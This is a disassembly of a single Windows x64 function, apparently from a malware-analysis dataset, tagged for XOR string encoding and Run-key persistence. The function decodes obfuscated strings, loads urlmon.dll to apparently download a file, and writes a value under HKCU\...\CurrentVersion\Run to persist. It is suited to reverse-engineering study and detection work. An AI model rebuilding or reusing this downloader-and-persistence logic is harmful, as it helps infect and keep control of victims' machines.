Function at 0x140001010
Capabilities:
Encode data using xor
Persist via run registry key

Disassembly:
push rbp
push rsi
push r13
push r14
push r15
lea rbp, [rsp - 0x540]
sub rsp, 0x640
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x510], rax
mov r15, rdx
mov r14, rcx
xor edx, edx
mov rcx, r9
mov rsi, r9
mov r13, r8
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__access
test eax, eax
je 0x140001737
movzx eax, byte [0x1400033e8]
xor r11d, r11d
movups xmm0, xmmword [str.oxixYtoxirodA]
mov byte [rsp + 0x50], al
xor eax, eax
mov qword [rsp + 0x51], rax
mov dword [rsp + 0x59], eax
mov byte [rsp + 0x5d], al
movzx eax, word [0x140003400]
mov word [rsp + 0x6e], ax
movzx eax, byte [0x140003402]
mov byte [rsp + 0x70], al
xor eax, eax
mov qword [rsp + 0x71], rax
mov word [rsp + 0x79], ax
mov byte [rsp + 0x7b], al
movzx eax, word [0x140003418]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.Nxi_tqxiiot]
mov word [rbp - 0x74], ax
movzx eax, byte [0x14000341a]
mov qword [rsp + 0x638], rbx
movups xmmword [rsp + 0x5e], xmm0
mov byte [rbp - 0x72], al
xor eax, eax
movups xmm0, xmmword [str.HOQYrjsqryIr_tqxA]
mov qword [rsp + 0x630], rdi
xor r9d, r9d
mov qword [rbp - 0x71], rax
mov word [rbp - 0x69], ax
mov byte [rbp - 0x67], al
mov qword [rsp + 0x628], r12
movups xmmword [rsp + 0x7c], xmm0
nop dword [rax]
movsxd rax, r11d
lea rdx, [rsp + 0x40]
imul rcx, rax, 0x1e
mov rax, 0xffffffffffffffff
add rdx, rcx
inc rax
cmp byte [rdx + rax], 0
jne 0x140001116
lea r10, [rsp + 0x40]
dec eax
add r10, r9
xor r8d, r8d
test eax, eax
jle 0x1400011c6
cmp eax, 0x40
jb 0x1400011c6
mov edx, eax
and edx, 0x8000003f
jge 0x14000114e
dec edx
or edx, 0xffffffc0
inc edx
movdqa xmm2, xmmword [0x140003550]
lea rdi, [rsp + 0x60]
mov ecx, eax
sub ecx, edx
mov rdx, r10
sub rdx, r9
movsxd rbx, ecx
sub rdx, rdi
lea rcx, [r10 + 0x20]
nop
movdqu xmm0, xmmword [rdx + rcx]
lea rcx, [rcx + 0x40]
add r8, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rdx + rcx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x30], xmm1
cmp r8, rbx
jl 0x140001170
movsxd rcx, eax
cmp r8, rcx
jge 0x1400011ed
lea rax, [r8 + r10]
sub rcx, r8
nop word [rax + rax]
xor byte [rax], 0x1d
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400011e0
inc r11d
add r9, 0x1e
cmp r9, 0x5a
jl 0x140001100
lea rdx, [rsp + 0x40]
mov rcx, r14
call r15
lea rdx, [rsp + 0x5e]
mov rcx, r14
mov rdi, rax
call r15
lea rcx, str.urlmon.dll
mov rbx, rax
mov r12d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edx, edx
mov rcx, rsi
mov r14, rax
call rdi
lea edx, [r12 + 1]
mov rcx, rsi
call rbx
test r14, r14
je 0x14000171c
lea rdx, [rsp + 0x7c]
mov rcx, r14
call r15
mov r15, rax
test rax, rax
je 0x14000171c
movups xmm0, xmmword [0x140003430]
movabs rax, 0x659885ce849494
xor r11d, r11d
mov qword [rbp - 0x60], rax
xor eax, eax
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x50], eax
mov dword [rbp - 0x3c], eax
movzx eax, word [0x140003448]
mov word [rbp - 0x30], ax
xor eax, eax
mov qword [rbp - 0x2e], rax
mov word [rbp - 0x26], ax
movzx eax, word [0x14000344c]
mov word [rbp - 0x24], ax
movzx eax, byte [0x14000344e]
mov byte [rbp - 0x22], al
xor eax, eax
mov byte [rbp - 0x11], al
movzx eax, word [0x140003450]
mov word [rbp - 0x10], ax
movzx eax, byte [0x140003452]
movups xmmword [rbp - 0x4c], xmm0
mov byte [rbp - 0xe], al
xor eax, eax
movsd xmm0, qword [0x140003440]
xor r9d, r9d
movsd qword [rbp - 0x38], xmm0
xorps xmm0, xmm0
mov byte [rbp + 3], al
movups xmmword [rbp - 0x21], xmm0
movups xmmword [rbp - 0xd], xmm0
nop dword [rax]
movsxd rax, r11d
lea rcx, [rax + rax*4]
lea rax, [rbp - 0x60]
lea rax, [rax + rcx*4]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140001306
lea r10, [rbp - 0x60]
dec ecx
add r10, r9
xor r8d, r8d
test ecx, ecx
jle 0x1400013b6
cmp ecx, 0x40
jb 0x1400013b6
mov edx, ecx
and edx, 0x8000003f
jge 0x14000133d
dec edx
or edx, 0xffffffc0
inc edx
movdqa xmm2, xmmword [0x140003560]
lea rdi, [rbp - 0x40]
mov eax, ecx
sub eax, edx
mov rdx, r10
sub rdx, r9
movsxd rbx, eax
sub rdx, rdi
lea rax, [r10 + 0x20]
nop dword [rax]
movdqu xmm0, xmmword [rdx + rax]
lea rax, [rax + 0x40]
add r8, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rdx + rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp r8, rbx
jl 0x140001360
movsxd rdx, ecx
cmp r8, rdx
jge 0x1400013dc
lea rax, [r8 + r10]
sub rdx, r8
nop word [rax + rax]
xor byte [rax], 0xe0
lea rax, [rax + 1]
sub rdx, r12
jne 0x1400013d0
inc r11d
add r9, 0x14
cmp r9, 0x64
jl 0x1400012f0
lea rdx, [rbp + 0x50]
mov rcx, rsi
sub rdx, rsi
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001400
lea rcx, [rbp + 0x50]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001415
lea r8, [rbp - 0x60]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001430
lea rcx, [rbp + 0x180]
sub rcx, rsi
nop word [rax + rax]
movzx eax, byte [rsi]
mov byte [rcx + rsi], al
lea rsi, [rsi + 1]
test al, al
jne 0x140001450
lea rcx, [rbp + 0x180]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001470
lea r8, [rbp - 0x4c]
xor edx, edx
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001480
movups xmm0, xmmword [str.dxx]
movzx eax, word [0x140003490]
movups xmm1, xmmword [0x140003468]
mov word [rbp + 0x48], ax
xor eax, eax
movdqa xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rbp + 0x10], xmm0
movups xmm0, xmmword [str._m_dcbkgcbk_auo_cyh_oca]
movups xmmword [rbp + 0x20], xmm1
movsd xmm1, qword [0x140003488]
movups xmmword [rbp + 0x30], xmm0
movsd qword [rbp + 0x40], xmm1
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rbp + rax + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rbp + rax + 0x10], xmm1
add rax, 0x10
cmp rax, 0x30
jl 0x1400014e0
mov eax, 0x30
nop dword [rax]
nop word [rax + rax]
xor byte [rbp + rax + 0x10], 0xc
inc rax
cmp rax, 0x39
jl 0x140001510
nop
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x10]
mov byte [rbp + rcx + 0x2b0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001530
lea rcx, [rbp + 0x2b0]
dec rcx
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001550
movzx eax, word [0x140003494]
lea rdx, [rbp + 0x2b0]
mov word [rcx], ax
xor r9d, r9d
movzx eax, byte [0x140003496]
mov r8, r13
mov byte [rcx + 2], al
xor ecx, ecx
mov qword [rsp + 0x20], 0
call r15
test eax, eax
js 0x140001713
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x10]
mov byte [rbp + rcx + 0x180], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400015a0
lea rcx, [rbp + 0x180]
dec rcx
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400015c0
lea r8, [rbp - 0x24]
xor edx, edx
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400015d0
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x10]
mov byte [rbp + rcx + 0x3e0], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400015f0
lea rcx, [rbp + 0x3e0]
dec rcx
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001610
lea r8, [rbp - 0x10]
xor edx, edx
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001620
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x50]
xor ecx, ecx
lea rdx, [rbp + 0x180]
call r15
lea rcx, str.advapi32.dll
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140001713
lea rdx, str.RegOpenKeyExA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RegSetValueExA
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RegCloseKey
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 0x20006
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r14, rax
xor r8d, r8d
lea rax, [rsp + 0x30]
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
jne 0x140001713
lea rax, [rbp + 0x50]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x1400016d3
inc ecx
lea rax, [rbp + 0x50]
mov dword [rsp + 0x28], ecx
lea rdx, str.TTDs
mov rcx, qword [rsp + 0x30]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call rsi
mov rcx, qword [rsp + 0x30]
call r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test r12d, r12d
jne 0x140001520
mov rdi, qword [rsp + 0x630]
mov eax, r12d
mov r12, qword [rsp + 0x628]
mov rbx, qword [rsp + 0x638]
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.140002070
add rsp, 0x640
pop r15
pop r14
pop r13
pop rsi
pop rbp
ret